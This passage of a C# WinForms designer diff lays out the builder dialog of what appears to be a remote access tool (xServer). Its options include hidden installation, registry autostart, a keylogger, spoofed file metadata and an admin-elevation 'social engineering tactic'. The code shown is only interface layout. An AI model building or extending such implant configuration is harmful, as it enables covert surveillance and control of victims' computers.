"rbAppdata"; - this.rbAppdata.Size = new System.Drawing.Size(111, 17); - this.rbAppdata.TabIndex = 8; - this.rbAppdata.TabStop = true; - this.rbAppdata.Text = "Application Data"; - this.rbAppdata.UseVisualStyleBackColor = true; - this.rbAppdata.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - // - // txtMutex - // - this.txtMutex.Location = new System.Drawing.Point(116, 15); - this.txtMutex.MaxLength = 64; - this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(201, 22); - this.txtMutex.TabIndex = 1; - this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblMutex - // - this.lblMutex.AutoSize = true; - this.lblMutex.Location = new System.Drawing.Point(68, 18); - this.lblMutex.Name = "lblMutex"; - this.lblMutex.Size = new System.Drawing.Size(42, 13); - this.lblMutex.TabIndex = 0; - this.lblMutex.Text = "Mutex:"; - // - // lblExtension - // - this.lblExtension.AutoSize = true; - this.lblExtension.Location = new System.Drawing.Point(284, 71); - this.lblExtension.Name = "lblExtension"; - this.lblExtension.Size = new System.Drawing.Size(27, 13); - this.lblExtension.TabIndex = 6; - this.lblExtension.Text = ".exe"; - // - // txtInstallname - // - this.txtInstallname.Location = new System.Drawing.Point(116, 65); - this.txtInstallname.Name = "txtInstallname"; - this.txtInstallname.Size = new System.Drawing.Size(168, 22); - this.txtInstallname.TabIndex = 5; - this.txtInstallname.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); - // - // lblInstallname - // - this.lblInstallname.AutoSize = true; - this.lblInstallname.Location = new System.Drawing.Point(38, 68); - this.lblInstallname.Name = "lblInstallname"; - this.lblInstallname.Size = new System.Drawing.Size(73, 13); - this.lblInstallname.TabIndex = 4; - this.lblInstallname.Text = "Install Name:"; - // - // chkInstall - // - this.chkInstall.AutoSize = true; - this.chkInstall.Location = new System.Drawing.Point(116, 42); - this.chkInstall.Name = "chkInstall"; - this.chkInstall.Size = new System.Drawing.Size(90, 17); - this.chkInstall.TabIndex = 2; - this.chkInstall.Text = "Install Client"; - this.chkInstall.UseVisualStyleBackColor = true; - this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); - // - // chkIconChange - // - this.chkIconChange.AutoSize = true; - this.chkIconChange.Location = new System.Drawing.Point(15, 35); - this.chkIconChange.Name = "chkIconChange"; - this.chkIconChange.Size = new System.Drawing.Size(91, 17); - this.chkIconChange.TabIndex = 1; - this.chkIconChange.Text = "Change Icon"; - this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges."); - this.chkIconChange.UseVisualStyleBackColor = true; - this.chkIconChange.CheckedChanged += new System.EventHandler(this.HasChangedSetting); - // - // chkElevation - // - this.chkElevation.AutoSize = true; - this.chkElevation.Location = new System.Drawing.Point(15, 12); - this.chkElevation.Name = "chkElevation"; - this.chkElevation.Size = new System.Drawing.Size(147, 17); - this.chkElevation.TabIndex = 0; - this.chkElevation.Text = "Enable Admin Elevation"; - this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges."); - this.chkElevation.UseVisualStyleBackColor = true; - this.chkElevation.CheckedChanged += new System.EventHandler(this.HasChangedSetting); - // // btnBuild // - this.btnBuild.Location = new System.Drawing.Point(338, 325); + this.btnBuild.Location = new System.Drawing.Point(402, 384); this.btnBuild.Name = "btnBuild"; this.btnBuild.Size = new System.Drawing.Size(121, 23); - this.btnBuild.TabIndex = 4; - this.btnBuild.Text = "Build client!"; + this.btnBuild.TabIndex = 1; + this.btnBuild.Text = "Build Client"; this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.btnBuild_Click); // - // chkChangeAsmInfo + // ctxtMenuHosts // - this.chkChangeAsmInfo.AutoSize = true; - this.chkChangeAsmInfo.Location = new System.Drawing.Point(15, 12); - this.chkChangeAsmInfo.Name = "chkChangeAsmInfo"; - this.chkChangeAsmInfo.Size = new System.Drawing.Size(180, 17); - this.chkChangeAsmInfo.TabIndex = 0; - this.chkChangeAsmInfo.Text = "Change Assembly Information"; - this.chkChangeAsmInfo.UseVisualStyleBackColor = true; - this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); + this.ctxtMenuHosts.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ctxtRemove}); + this.ctxtMenuHosts.Name = "ctxtMenuHosts"; + this.ctxtMenuHosts.Size = new System.Drawing.Size(118, 26); // - // txtFileVersion + // ctxtRemove // - this.txtFileVersion.Location = new System.Drawing.Point(116, 238); - this.txtFileVersion.Name = "txtFileVersion"; - this.txtFileVersion.Size = new System.Drawing.Size(201, 22); - this.txtFileVersion.TabIndex = 16; - this.txtFileVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblFileVersion - // - this.lblFileVersion.AutoSize = true; - this.lblFileVersion.Location = new System.Drawing.Point(40, 241); - this.lblFileVersion.Name = "lblFileVersion"; - this.lblFileVersion.Size = new System.Drawing.Size(70, 13); - this.lblFileVersion.TabIndex = 15; - this.lblFileVersion.Text = "File Version:"; - // - // txtProductVersion - // - this.txtProductVersion.Location = new System.Drawing.Point(116, 210); - this.txtProductVersion.Name = "txtProductVersion"; - this.txtProductVersion.Size = new System.Drawing.Size(201, 22); - this.txtProductVersion.TabIndex = 14; - this.txtProductVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblProductVersion - // - this.lblProductVersion.AutoSize = true; - this.lblProductVersion.Location = new System.Drawing.Point(18, 213); - this.lblProductVersion.Name = "lblProductVersion"; - this.lblProductVersion.Size = new System.Drawing.Size(92, 13); - this.lblProductVersion.TabIndex = 13; - this.lblProductVersion.Text = "Product Version:"; - // - // txtOriginalFilename - // - this.txtOriginalFilename.Location = new System.Drawing.Point(116, 182); - this.txtOriginalFilename.Name = "txtOriginalFilename"; - this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22); - this.txtOriginalFilename.TabIndex = 12; - this.txtOriginalFilename.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblOriginalFilename - // - this.lblOriginalFilename.AutoSize = true; - this.lblOriginalFilename.Location = new System.Drawing.Point(9, 185); - this.lblOriginalFilename.Name = "lblOriginalFilename"; - this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13); - this.lblOriginalFilename.TabIndex = 11; - this.lblOriginalFilename.Text = "Original Filename:"; - // - // txtTrademarks - // - this.txtTrademarks.Location = new System.Drawing.Point(116, 154); - this.txtTrademarks.Name = "txtTrademarks"; - this.txtTrademarks.Size = new System.Drawing.Size(201, 22); - this.txtTrademarks.TabIndex = 10; - this.txtTrademarks.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblTrademarks - // - this.lblTrademarks.AutoSize = true; - this.lblTrademarks.Location = new System.Drawing.Point(42, 157); - this.lblTrademarks.Name = "lblTrademarks"; - this.lblTrademarks.Size = new System.Drawing.Size(68, 13); - this.lblTrademarks.TabIndex = 9; - this.lblTrademarks.Text = "Trademarks:"; - // - // txtCopyright - // - this.txtCopyright.Location = new System.Drawing.Point(116, 126); - this.txtCopyright.Name = "txtCopyright"; - this.txtCopyright.Size = new System.Drawing.Size(201, 22); - this.txtCopyright.TabIndex = 8; - this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblCopyright - // - this.lblCopyright.AutoSize = true; - this.lblCopyright.Location = new System.Drawing.Point(49, 129); - this.lblCopyright.Name = "lblCopyright"; - this.lblCopyright.Size = new System.Drawing.Size(61, 13); - this.lblCopyright.TabIndex = 7; - this.lblCopyright.Text = "Copyright:"; - // - // txtCompanyName - // - this.txtCompanyName.Location = new System.Drawing.Point(116, 98); - this.txtCompanyName.Name = "txtCompanyName"; - this.txtCompanyName.Size = new System.Drawing.Size(201, 22); - this.txtCompanyName.TabIndex = 6; - this.txtCompanyName.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblCompanyName - // - this.lblCompanyName.AutoSize = true; - this.lblCompanyName.Location = new System.Drawing.Point(20, 101); - this.lblCompanyName.Name = "lblCompanyName"; - this.lblCompanyName.Size = new System.Drawing.Size(90, 13); - this.lblCompanyName.TabIndex = 5; - this.lblCompanyName.Text = "Company Name:"; - // - // txtDescription - // - this.txtDescription.Location = new System.Drawing.Point(116, 70); - this.txtDescription.Name = "txtDescription"; - this.txtDescription.Size = new System.Drawing.Size(201, 22); - this.txtDescription.TabIndex = 4; - this.txtDescription.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblDescription - // - this.lblDescription.AutoSize = true; - this.lblDescription.Location = new System.Drawing.Point(41, 73); - this.lblDescription.Name = "lblDescription"; - this.lblDescription.Size = new System.Drawing.Size(69, 13); - this.lblDescription.TabIndex = 3; - this.lblDescription.Text = "Description:"; - // - // txtProductName - // - this.txtProductName.Location = new System.Drawing.Point(116, 42); - this.txtProductName.Name = "txtProductName"; - this.txtProductName.Size = new System.Drawing.Size(201, 22); - this.txtProductName.TabIndex = 2; - this.txtProductName.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblProductName - // - this.lblProductName.AutoSize = true; - this.lblProductName.Location = new System.Drawing.Point(28, 45); - this.lblProductName.Name = "lblProductName"; - this.lblProductName.Size = new System.Drawing.Size(82, 13); - this.lblProductName.TabIndex = 1; - this.lblProductName.Text = "Product Name:"; - // - // chkKeylogger - // - this.chkKeylogger.AutoSize = true; - this.chkKeylogger.Location = new System.Drawing.Point(15, 58); - this.chkKeylogger.Name = "chkKeylogger"; - this.chkKeylogger.Size = new System.Drawing.Size(115, 17); - this.chkKeylogger.TabIndex = 2; - this.chkKeylogger.Text = "Enable Keylogger"; - this.chkKeylogger.UseVisualStyleBackColor = true; - this.chkKeylogger.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + this.ctxtRemove.Image = global::xServer.Properties.Resources.delete; + this.ctxtRemove.Name = "ctxtRemove"; + this.ctxtRemove.Size = new System.Drawing.Size(117, 22); + this.ctxtRemove.Text = "Remove"; + this.ctxtRemove.Click += new System.EventHandler(this.ctxtRemove_Click); // // builderTabs // this.builderTabs.Alignment = System.Windows.Forms.TabAlignment.Left; + this.builderTabs.Controls.Add(this.generalPage); this.builderTabs.Controls.Add(this.connectionPage); this.builderTabs.Controls.Add(this.installationPage); this.builderTabs.Controls.Add(this.assemblyPage); @@ -607,13 +169,144 @@ this.builderTabs.Multiline = true; this.builderTabs.Name = "builderTabs"; this.builderTabs.SelectedIndex = 0; - this.builderTabs.Size = new System.Drawing.Size(476, 317); + this.builderTabs.Size = new System.Drawing.Size(535, 378); this.builderTabs.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; - this.builderTabs.TabIndex = 6; + this.builderTabs.TabIndex = 0; + // + // generalPage + // + this.generalPage.BackColor = System.Drawing.SystemColors.Control; + this.generalPage.Controls.Add(this.label9); + this.generalPage.Controls.Add(this.line6); + this.generalPage.Controls.Add(this.label8); + this.generalPage.Controls.Add(this.txtTag); + this.generalPage.Controls.Add(this.label7); + this.generalPage.Controls.Add(this.lblTag); + this.generalPage.Controls.Add(this.txtMutex); + this.generalPage.Controls.Add(this.btnMutex); + this.generalPage.Controls.Add(this.line5); + this.generalPage.Controls.Add(this.lblMutex); + this.generalPage.Controls.Add(this.label6); + this.generalPage.Location = new System.Drawing.Point(140, 4); + this.generalPage.Name = "generalPage"; + this.generalPage.Padding = new System.Windows.Forms.Padding(3); + this.generalPage.Size = new System.Drawing.Size(391, 370); + this.generalPage.TabIndex = 4; + this.generalPage.Text = "General Settings"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(17, 94); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(370, 26); + this.label9.TabIndex = 5; + this.label9.Text = "A unique mutex ensures that only one instance of the client is running\r\non the sa" + + "me system."; + // + // line6 + // + this.line6.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line6.Location = new System.Drawing.Point(83, 78); + this.line6.Name = "line6"; + this.line6.Size = new System.Drawing.Size(300, 13); + this.line6.TabIndex = 20; + this.line6.TabStop = false; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(6, 78); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(80, 13); + this.label8.TabIndex = 4; + this.label8.Text = "Process Mutex"; + // + // txtTag + // + this.txtTag.Location = new System.Drawing.Point(182, 40); + this.txtTag.Name = "txtTag"; + this.txtTag.Size = new System.Drawing.Size(203, 22); + this.txtTag.TabIndex = 3; + this.txtTag.Text = "Office04"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(17, 20); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(324, 13); + this.label7.TabIndex = 1; + this.label7.Text = "You can choose a tag which helps you to identify your clients."; + // + // lblTag + // + this.lblTag.AutoSize = true; + this.lblTag.Location = new System.Drawing.Point(17, 43); + this.lblTag.Name = "lblTag"; + this.lblTag.Size = new System.Drawing.Size(61, 13); + this.lblTag.TabIndex = 2; + this.lblTag.Text = "Client Tag:"; + // + // txtMutex + // + this.txtMutex.Location = new System.Drawing.Point(182, 130); + this.txtMutex.MaxLength = 64; + this.txtMutex.Name = "txtMutex"; + this.txtMutex.Size = new System.Drawing.Size(201, 22); + this.txtMutex.TabIndex = 7; + this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // btnMutex + // + this.btnMutex.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.btnMutex.Location = new System.Drawing.Point(262, 158); + this.btnMutex.Name = "btnMutex"; + this.btnMutex.Size = new System.Drawing.Size(121, 23); + this.btnMutex.TabIndex = 8; + this.btnMutex.Text = "Random Mutex"; + this.btnMutex.UseVisualStyleBackColor = true; + this.btnMutex.Click += new System.EventHandler(this.btnMutex_Click); + // + // line5 + // + this.line5.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line5.Location = new System.Drawing.Point(112, 5); + this.line5.Name = "line5"; + this.line5.Size = new System.Drawing.Size(271, 13); + this.line5.TabIndex = 15; + this.line5.TabStop = false; + // + // lblMutex + // + this.lblMutex.AutoSize = true; + this.lblMutex.Location = new System.Drawing.Point(17, 133); + this.lblMutex.Name = "lblMutex"; + this.lblMutex.Size = new System.Drawing.Size(42, 13); + this.lblMutex.TabIndex = 6; + this.lblMutex.Text = "Mutex:"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(6, 5); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(109, 13); + this.label6.TabIndex = 0; + this.label6.Text = "Client Identification"; // // connectionPage // this.connectionPage.BackColor = System.Drawing.SystemColors.Control; + this.connectionPage.Controls.Add(this.line3); + this.connectionPage.Controls.Add(this.label4); + this.connectionPage.Controls.Add(this.label3); + this.connectionPage.Controls.Add(this.line2); + this.connectionPage.Controls.Add(this.label2); + this.connectionPage.Controls.Add(this.line1); + this.connectionPage.Controls.Add(this.label1); + this.connectionPage.Controls.Add(this.lstHosts); + this.connectionPage.Controls.Add(this.btnAddHost); this.connectionPage.Controls.Add(this.lblMS); this.connectionPage.Controls.Add(this.lblHost); this.connectionPage.Controls.Add(this.txtDelay); @@ -627,15 +320,195 @@ this.connectionPage.Location = new System.Drawing.Point(140, 4); this.connectionPage.Name = "connectionPage"; this.connectionPage.Padding = new System.Windows.Forms.Padding(3); - this.connectionPage.Size = new System.Drawing.Size(332, 309); + this.connectionPage.Size = new System.Drawing.Size(391, 370); this.connectionPage.TabIndex = 0; this.connectionPage.Text = "Connection"; // + // line3 + // + this.line3.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line3.Location = new System.Drawing.Point(95, 263); + this.line3.Name = "line3"; + this.line3.Size = new System.Drawing.Size(290, 13); + this.line3.TabIndex = 18; + this.line3.TabStop = false; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(6, 263); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(92, 13); + this.label4.TabIndex = 17; + this.label4.Text = "Reconnect Delay"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.ForeColor = System.Drawing.Color.SteelBlue; + this.label3.Location = new System.Drawing.Point(17, 179); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(318, 13); + this.label3.TabIndex = 16; + this.label3.Text = "Don\'t forget to set the same password in the server settings."; + // + // line2 + // + this.line2.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line2.Location = new System.Drawing.Point(123, 161); + this.line2.Name = "line2"; + this.line2.Size = new System.Drawing.Size(260, 13); + this.line2.TabIndex = 15; + this.line2.TabStop = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(6, 161); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(121, 13); + this.label2.TabIndex = 14; + this.label2.Text = "Encrypted Connection"; + // + // line1 + // + this.line1.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line1.Location = new System.Drawing.Point(73, 5); + this.line1.Name = "line1"; + this.line1.Size = new System.Drawing.Size(310, 13); + this.line1.TabIndex = 13; + this.line1.TabStop = false; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 5); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(70, 13); + this.label1.TabIndex = 14; + this.label1.Text = "List of Hosts"; + // + // lstHosts + // + this.lstHosts.ContextMenuStrip = this.ctxtMenuHosts; + this.lstHosts.FormattingEnabled = true; + this.lstHosts.Location = new System.Drawing.Point(20, 21); + this.lstHosts.Name = "lstHosts"; + this.lstHosts.Size = new System.Drawing.Size(149, 121); + this.lstHosts.TabIndex = 5; + this.lstHosts.TabStop = false; + // + // btnAddHost + // + this.btnAddHost.Location = new System.Drawing.Point(254, 78); + this.btnAddHost.Name = "btnAddHost"; + this.btnAddHost.Size = new System.Drawing.Size(129, 22); + this.btnAddHost.TabIndex = 4; + this.btnAddHost.Text = "Add Host"; + this.btnAddHost.UseVisualStyleBackColor = true; + this.btnAddHost.Click += new System.EventHandler(this.btnAddHost_Click); + // + // lblMS + // + this.lblMS.AutoSize = true; + this.lblMS.Location = new System.Drawing.Point(356, 287); + this.lblMS.Name = "lblMS"; + this.lblMS.Size = new System.Drawing.Size(21, 13); + this.lblMS.TabIndex = 11; + this.lblMS.Text = "ms"; + // + // lblHost + // + this.lblHost.AutoSize = true; + this.lblHost.Location = new System.Drawing.Point(175, 25); + this.lblHost.Name = "lblHost"; + this.lblHost.Size = new System.Drawing.Size(75, 13); + this.lblHost.TabIndex = 0; + this.lblHost.Text = "IP/Hostname:"; + // + // txtDelay + // + this.txtDelay.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtDelay.Location = new System.Drawing.Point(310, 282); + this.txtDelay.MaxLength = 6; + this.txtDelay.Name = "txtDelay"; + this.txtDelay.Size = new System.Drawing.Size(46, 22); + this.txtDelay.TabIndex = 10; + this.txtDelay.Text = "5000"; + this.txtDelay.TextChanged += new System.EventHandler(this.HasChangedSetting); + this.txtDelay.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtDelay_KeyPress); + // + // txtHost + // + this.txtHost.Location = new System.Drawing.Point(254, 22); + this.txtHost.Name = "txtHost"; + this.txtHost.Size = new System.Drawing.Size(129, 22); + this.txtHost.TabIndex = 1; + // + // lblDelay + // + this.lblDelay.AutoSize = true; + this.lblDelay.Location = new System.Drawing.Point(17, 286); + this.lblDelay.Name = "lblDelay"; + this.lblDelay.Size = new System.Drawing.Size(199, 13); + this.lblDelay.TabIndex = 9; + this.lblDelay.Text = "Time to wait between reconnect tries:"; + // + // lblPort + // + this.lblPort.AutoSize = true; + this.lblPort.Location = new System.Drawing.Point(175, 53); + this.lblPort.Name = "lblPort"; + this.lblPort.Size = new System.Drawing.Size(31, 13); + this.lblPort.TabIndex = 2; + this.lblPort.Text = "Port:"; + // + // chkShowPass + // + this.chkShowPass.AutoSize = true; + this.chkShowPass.Location = new System.Drawing.Point(276, 228); + this.chkShowPass.Name = "chkShowPass"; + this.chkShowPass.Size = new System.Drawing.Size(107, 17); + this.chkShowPass.TabIndex = 8; + this.chkShowPass.Text = "Show Password"; + this.chkShowPass.UseVisualStyleBackColor = true; + this.chkShowPass.CheckedChanged += new System.EventHandler(this.chkShowPass_CheckedChanged); + // + // txtPort + // + this.txtPort.Location = new System.Drawing.Point(254, 50); + this.txtPort.MaxLength = 5; + this.txtPort.Name = "txtPort"; + this.txtPort.Size = new System.Drawing.Size(129, 22); + this.txtPort.TabIndex = 3; + this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress); + // + // txtPassword + // + this.txtPassword.Location = new System.Drawing.Point(182, 200); + this.txtPassword.Name = "txtPassword"; + this.txtPassword.PasswordChar = '•'; + this.txtPassword.Size = new System.Drawing.Size(201, 22); + this.txtPassword.TabIndex = 7; + this.txtPassword.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblPassword + // + this.lblPassword.AutoSize = true; + this.lblPassword.Location = new System.Drawing.Point(17, 203); + this.lblPassword.Name = "lblPassword"; + this.lblPassword.Size = new System.Drawing.Size(59, 13); + this.lblPassword.TabIndex = 6; + this.lblPassword.Text = "Password:"; + // // installationPage // this.installationPage.BackColor = System.Drawing.SystemColors.Control; + this.installationPage.Controls.Add(this.line7); + this.installationPage.Controls.Add(this.label10); + this.installationPage.Controls.Add(this.line4); + this.installationPage.Controls.Add(this.label5); this.installationPage.Controls.Add(this.picUAC2); - this.installationPage.Controls.Add(this.txtMutex); this.installationPage.Controls.Add(this.picUAC1); this.installationPage.Controls.Add(this.chkInstall); this.installationPage.Controls.Add(this.rbSystem); @@ -645,12 +518,10 @@ this.installationPage.Controls.Add(this.txtRegistryKeyName); this.installationPage.Controls.Add(this.lblExtension); this.installationPage.Controls.Add(this.lblRegistryKeyName); - this.installationPage.Controls.Add(this.lblMutex); this.installationPage.Controls.Add(this.chkStartup); this.installationPage.Controls.Add(this.rbAppdata); this.installationPage.Controls.Add(this.chkHide); this.installationPage.Controls.Add(this.lblInstallpath); - this.installationPage.Controls.Add(this.btnMutex); this.installationPage.Controls.Add(this.lblInstallsub); this.installationPage.Controls.Add(this.lblExamplePath); this.installationPage.Controls.Add(this.txtInstallsub); @@ -658,13 +529,234 @@ this.installationPage.Location = new System.Drawing.Point(140, 4); this.installationPage.Name = "installationPage"; this.installationPage.Padding = new System.Windows.Forms.Padding(3); - this.installationPage.Size = new System.Drawing.Size(332, 309); + this.installationPage.Size = new System.Drawing.Size(391, 370); this.installationPage.TabIndex = 1; this.installationPage.Text = "Installation"; // + // line7 + // + this.line7.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line7.Location = new System.Drawing.Point(60, 274); + this.line7.Name = "line7"; + this.line7.Size = new System.Drawing.Size(323, 13); + this.line7.TabIndex = 36; + this.line7.TabStop = false; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(7, 274); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(55, 13); + this.label10.TabIndex = 14; + this.label10.Text = "Autostart"; + // + // line4 + // + this.line4.LineAlignment = xServer.Controls.Line.Alignment.Horizontal; + this.line4.Location = new System.Drawing.Point(117, 5); + this.line4.Name = "line4"; + this.line4.Size = new System.Drawing.Size(266, 13); + this.line4.TabIndex = 34; + this.line4.TabStop = false; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(6, 5); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(112, 13); + this.label5.TabIndex = 0; + this.label5.Text = "Installation Location"; + // + // picUAC2 + // + this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC2.Location = new System.Drawing.Point(363, 88); + this.picUAC2.Name = "picUAC2"; + this.picUAC2.Size = new System.Drawing.Size(16, 20); + this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC2.TabIndex = 32; + this.picUAC2.TabStop = false; + this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System."); + // + // picUAC1 + // + this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield; + this.picUAC1.Location = new System.Drawing.Point(363, 68); + this.picUAC1.Name = "picUAC1"; + this.picUAC1.Size = new System.Drawing.Size(16, 20); + this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picUAC1.TabIndex = 31; + this.picUAC1.TabStop = false; + this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files."); + // + // chkInstall + // + this.chkInstall.AutoSize = true; + this.chkInstall.Location = new System.Drawing.Point(20, 21); + this.chkInstall.Name = "chkInstall"; + this.chkInstall.Size = new System.Drawing.Size(90, 17); + this.chkInstall.TabIndex = 1; + this.chkInstall.Text = "Install Client"; + this.chkInstall.UseVisualStyleBackColor = true; + this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); + // + // rbSystem + // + this.rbSystem.AutoSize = true; + this.rbSystem.Location = new System.Drawing.Point(241, 91); + this.rbSystem.Name = "rbSystem"; + this.rbSystem.Size = new System.Drawing.Size(60, 17); + this.rbSystem.TabIndex = 5; + this.rbSystem.TabStop = true; + this.rbSystem.Text = "System"; + this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); + this.rbSystem.UseVisualStyleBackColor = true; + this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // lblInstallname + // + this.lblInstallname.AutoSize = true; + this.lblInstallname.Location = new System.Drawing.Point(17, 156); + this.lblInstallname.Name = "lblInstallname"; + this.lblInstallname.Size = new System.Drawing.Size(73, 13); + this.lblInstallname.TabIndex = 8; + this.lblInstallname.Text = "Install Name:"; + // + // rbProgramFiles + // + this.rbProgramFiles.AutoSize = true; + this.rbProgramFiles.Location = new System.Drawing.Point(241, 68); + this.rbProgramFiles.Name = "rbProgramFiles"; + this.rbProgramFiles.Size = new System.Drawing.Size(94, 17); + this.rbProgramFiles.TabIndex = 4; + this.rbProgramFiles.TabStop = true; + this.rbProgramFiles.Text = "Program Files"; + this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); + this.rbProgramFiles.UseVisualStyleBackColor = true; + this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // txtInstallname + // + this.txtInstallname.Location = new System.Drawing.Point(182, 153); + this.txtInstallname.Name = "txtInstallname"; + this.txtInstallname.Size = new System.Drawing.Size(170, 22); + this.txtInstallname.TabIndex = 9; + this.txtInstallname.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallname.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); + // + // txtRegistryKeyName + // + this.txtRegistryKeyName.Location = new System.Drawing.Point(182, 324); + this.txtRegistryKeyName.Name = "txtRegistryKeyName"; + this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22); + this.txtRegistryKeyName.TabIndex = 17; + this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblExtension + // + this.lblExtension.AutoSize = true; + this.lblExtension.Location = new System.Drawing.Point(352, 159); + this.lblExtension.Name = "lblExtension"; + this.lblExtension.Size = new System.Drawing.Size(27, 13); + this.lblExtension.TabIndex = 10; + this.lblExtension.Text = ".exe"; + // + // lblRegistryKeyName + // + this.lblRegistryKeyName.AutoSize = true; + this.lblRegistryKeyName.Location = new System.Drawing.Point(17, 327); + this.lblRegistryKeyName.Name = "lblRegistryKeyName"; + this.lblRegistryKeyName.Size = new System.Drawing.Size(103, 13); + this.lblRegistryKeyName.TabIndex = 16; + this.lblRegistryKeyName.Text = "Registry Key Name:"; + // + // chkStartup + // + this.chkStartup.AutoSize = true; + this.chkStartup.Location = new System.Drawing.Point(20, 298); + this.chkStartup.Name = "chkStartup"; + this.chkStartup.Size = new System.Drawing.Size(102, 17); + this.chkStartup.TabIndex = 15; + this.chkStartup.Text = "Add to Startup"; + this.chkStartup.UseVisualStyleBackColor = true; + this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged); + // + // rbAppdata + // + this.rbAppdata.AutoSize = true; + this.rbAppdata.Checked = true; + this.rbAppdata.Location = new System.Drawing.Point(241, 45); + this.rbAppdata.Name = "rbAppdata"; + this.rbAppdata.Size = new System.Drawing.Size(111, 17); + this.rbAppdata.TabIndex = 3; + this.rbAppdata.TabStop = true; + this.rbAppdata.Text = "Application Data"; + this.rbAppdata.UseVisualStyleBackColor = true; + this.rbAppdata.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // chkHide + // + this.chkHide.AutoSize = true; + this.chkHide.Location = new System.Drawing.Point(20, 185); + this.chkHide.Name = "chkHide"; + this.chkHide.Size = new System.Drawing.Size(71, 17); + this.chkHide.TabIndex = 11; + this.chkHide.Text = "Hide File"; + this.chkHide.UseVisualStyleBackColor = true; + this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblInstallpath + // + this.lblInstallpath.AutoSize = true; + this.lblInstallpath.Location = new System.Drawing.Point(17, 47); + this.lblInstallpath.Name = "lblInstallpath"; + this.lblInstallpath.Size = new System.Drawing.Size(67, 13); + 